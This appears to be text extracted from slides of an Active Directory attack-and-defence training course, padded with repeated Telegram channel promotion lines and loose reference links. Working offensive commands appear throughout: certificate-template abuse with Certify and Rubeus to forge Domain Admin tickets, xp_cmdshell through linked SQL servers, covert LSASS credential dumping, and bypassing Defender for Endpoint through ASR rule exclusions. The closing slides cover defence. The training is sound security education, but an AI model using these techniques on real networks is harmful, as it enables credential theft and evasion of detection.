https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-
server-2012-R2-and-2012/dn466518(v=ws.11)
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec 219
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-
active-directory/
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-
rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1
https://posts.specterops.io/not-a-security-boundary-breaking-forest-trusts-
cd125829518d
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec 225
https://labs.f-secure.com/archive/trust-years-to-earn-seconds-to-break/
Join https://t.me/offenciveSec
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-
8135-400e-bdd9-33b552051d94
Join https://t.me/offenciveSec
https://labs.f-secure.com/archive/trust-years-to-earn-seconds-to-break/
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
https://eladshamir.com/2019/01/28/Wagging-the-Dog.html
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec 234
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec 240
Priv Esc - Across Trusts
• Across Domains - Implicit two way trust relationship.
• Across Forests - Trust relationship needs to be established.
https://adsecurity.org/?p=1588
https://adsecurity.org/?p=1588
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-
server-2012-r2-and-2012/hh831740(v=ws.11)
https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-
certificate-services-overview
• Convert from cert.pem to pfx (esc3agent.pfx below) and use it to request a certificate on
behalf of DA using the "SmartCardEnrollment-Users" template.
Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA
/template:SmartCardEnrollment-Users /onbehalfof:dcorp\administrator
/enrollcert:esc3agent.pfx /enrollcertpw:SecretPass@123
• Convert from cert.pem to pfx (esc3user-DA.pfx below), request DA TGT and inject it:
Rubeus.exe asktgt /user:administrator /certificate:esc3user-DA.pfx
/password:SecretPass@123 /ptt
• Convert from cert.pem to pfx (esc1.pfx below) and use it to request a TGT for DA (or
EA).
Rubeus.exe asktgt /user:administrator /certificate:esc1.pfx
/password:SecretPass@123 /ptt
Or
• From the initial SQL server, OS commands can be executed using nested link
queries:
select * from openquery("dcorp-sql1",'select * from openquery("dcorp-
mgmt",''select * from openquery("eu-sql.eu.eurocorp.local",''''select
@@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')
• Most EDRs correlate activity to gain broader telemetry and improve on detections..
Even if all performed activity is undetected by an AV, EDRs can still correlate all
actions performed to identify attacker TTPs.
Join https://t.me/offenciveSec
Introduction to EDR - MDE
• In this lab, we will be targeting the popular, high performing EDR by Microsoft -
Microsoft Defender for Endpoint (MDE).
https://learn.microsoft.com/en-us/microsoft-365/security/defender-
endpoint/microsoft-defender-endpoint?view=o365-worldwide
Join https://t.me/offenciveSec
Introduction to EDR - MDE
• Visit the MDE dashboard https://security.microsoft.com and login with your student credentials to
view and correlate performed activity in the Incidents and Alerts tab.
• Student credentials are available in the lab portal - https://adlab.enterprisesecurity.io/
Join https://t.me/offenciveSec
MDE - Credential Extraction – LSASS Dump
• A more opsec friendly way is by performing a dump of the LSASS process in a covert
way and then exfiltrating it to later analyze offline.
Join https://t.me/offenciveSec
MDE - Credential Extraction – LSASS Dump
• These 3 actions are heavily monitored by EDRs and are usually detected and
blocked.
• To circumvent these detections, we can avoid using tools that implement the
MiniDumpWriteDump function and perform the LSASS dump in a different way.
Join https://t.me/offenciveSec
MDE - Credential Extraction – LSASS Dump using Custom APIs
• MiniDumpDotNet (https://github.com/WhiteOakSecurity/MiniDumpDotNet) is a
tool that implements a custom rewritten reimplementation of the
MiniDumpWriteDump Windows API function.
Join https://t.me/offenciveSec
MDE - Credential Extraction – LSASS Dump using Custom APIs
• This tool can also be used to dump any. For example: Dumping processes like
Outlook in may result in cleartext credentials.
• Dump the LSASS process with minidumpdotnet using the following syntax. Note that
we need Process ID of LSASS process:
.\minidumpdotnet.exe <LSASS PID> <minidump file>
Join https://t.me/offenciveSec
MDE - Credential Extraction – LSASS Dump using Custom APIs -
MiniDumpDotnet Setup
• Building the solution will generate both a binary executable, as well as a .NET class
library.
Join https://t.me/offenciveSec
MDE - Credential Extraction – LSASS Dump using Custom APIs -
MiniDumpDotnet AV Signatures
Join https://t.me/offenciveSec
MDE - Credential Extraction – LSASS Dump using Custom
APIs
• No detections by MDE!
Join https://t.me/offenciveSec
MDE - Credential Extraction – LSASS Dump using Custom APIs -
Find LSASS PID
• To avoid this, we can make use of standard WINAPIs to find the LSASS
PID which opsec safe.
• In case of RDP access, tools like Task Manager (or other less suspicious
alternatives) could also be used for finding LSASS PID.
Join https://t.me/offenciveSec
MDE - Credential Extraction – LSASS Dump using Custom APIs -
Find LSASS PID
Join https://t.me/offenciveSec
MDE - Credential Extraction – LSASS Dump using Custom APIs -
Find LSASS PID
Join https://t.me/offenciveSec
MDE - Credential Extraction – LSASS Dump using Custom APIs -
Find LSASS PID
Join https://t.me/offenciveSec
MDE - Tools Transfer and Execution
• Now that we have a couple of executables, let’s transfer them to the target.
• Downloading tools over HTTP(S) can be risky as it does increase the risk score and
chances of detection by the EDR.
• However, if binaries that are intended for downloads such as Edge (msedge.exe) are
available on the target we can perform HTTP(S) downloads without any detections.
• Another opsec friendly way would be to share files over SMB. Execution can be
directly performed from a readable share and is less risky than standard download
and execute actions.
Attacking and Defending Active Directory - Beginner's
AlteredSecurity 297
Edition Bootcamp
Join https://t.me/offenciveSec
MDE - Breaking Detection Chains
Join https://t.me/offenciveSec
MDE - Lateral Movement - ASR Rules
• ASR rules are written in .lua and can be reversed and extracted from a
specific target Windows machine.
Join https://t.me/offenciveSec
MDE - Lateral Movement - ASR Rules Bypass
• ASR rules are easy to understand. For example, the GetMonitoredLocations function displays
processes that are monitored and remote execution using them will result in a detection. [Check the
slide notes]
• OS trusted methods like WMI and Psremoting or administrative tools like PSExec are detected by
MDE.
• To avoid detections based on a specific ASR rule such as the "Block process creations originating from
PSExec and WMI commands" rule:
– We can use alternatives such as winrm access (winrs) instead of PSExec/WMI execution (This is undetected by MDE but
detected by MDI)
– Use the GetCommandLineExclusions function which displays a list of command line exclusions (Ex:
".:\\windows\\ccm\\systemtemp\\.+“ ), if included in the command line will result in bypassing this rule and detection.
C:\AD\Tools\WSManWinRM.exe eu-sql.eu.eurocorp.local "cmd /c notepad.exe C:\Windows\ccm\systemtemp\"
"Block process creations originating from PSExec and WMI commands“ ASR rule
reversed:
https://github.com/HackingLZ/ExtractedDefender/blob/main/asr/d1e49aac-8f56-
4280-b9ba-993a6d77406c
Join https://t.me/offenciveSec
MDE - Lateral Movement – Process Detection
Join https://t.me/offenciveSec
MDE - Lateral Movement – Process Detection
Join https://t.me/offenciveSec
Learning Objective 23
• Compromise eu-sqlx again. Use opsec friendly alternatives to bypass
MDE and MDI.
https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-
and-management/protected-users-security-group
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/how-to-
configure-protected-accounts#BKMK_AddtoProtectedUsers
Join https://t.me/offenciveSec
Time Bound Administration - JIT
• Just In Time (JIT) administration provides the ability to grant time-bound
administrative access on per-request bases.
• Check out Temporary Group Membership! (Requires Privileged Access
Management Feature to be enabled which can't be turned off later)
Add-ADGroupMember -Identity 'Domain Admins' -Members
newDA -MemberTimeToLive (New-TimeSpan -Minutes 60)
https://learn.microsoft.com/en-us/security/compass/esae-retirement
https://learn.microsoft.com/en-us/security/compass/privileged-access-strategy
https://learn.microsoft.com/en-us/security/privileged-access-
workstations/privileged-access-strategy
https://learn.microsoft.com/en-us/security/privileged-access-workstations/security-
rapid-modernization-plan
https://learn.microsoft.com/en-us/security/privileged-access-
workstations/privileged-access-access-model
https://www.blackhat.com/docs/us-15/materials/us-15-Moore-Defeating%20Pass-
the-Hash-Separation-Of-Powers-wp.pdf
Join https://t.me/offenciveSec
https://www.blackhat.com/docs/us-17/thursday/us-17-Mittal-Evading-MicrosoftATA-
for-ActiveDirectory-Domination.pdf
Join https://t.me/offenciveSec
Detection and Defense - Ticket Forging and Replay
• For all the attacks that include Forging or Replaying Kerberos tickets, the
easiest detection is - Access to a privileged or higher tier asset from a
lower tier.
Join https://t.me/offenciveSec
Join https://t.me/offenciveSec
Detection and Defense - Deception
• Deception is a very effective technique in active directory defense.
• By using decoy domain objects, defenders can trick adversaries to follow
a particular attack path which increases chances of detection and
increase their cost in terms of time.
• Traditionally, deception has been limited to leave honey credentials on
some boxes and check their usage but we can use it effectively during
other phases of an attack.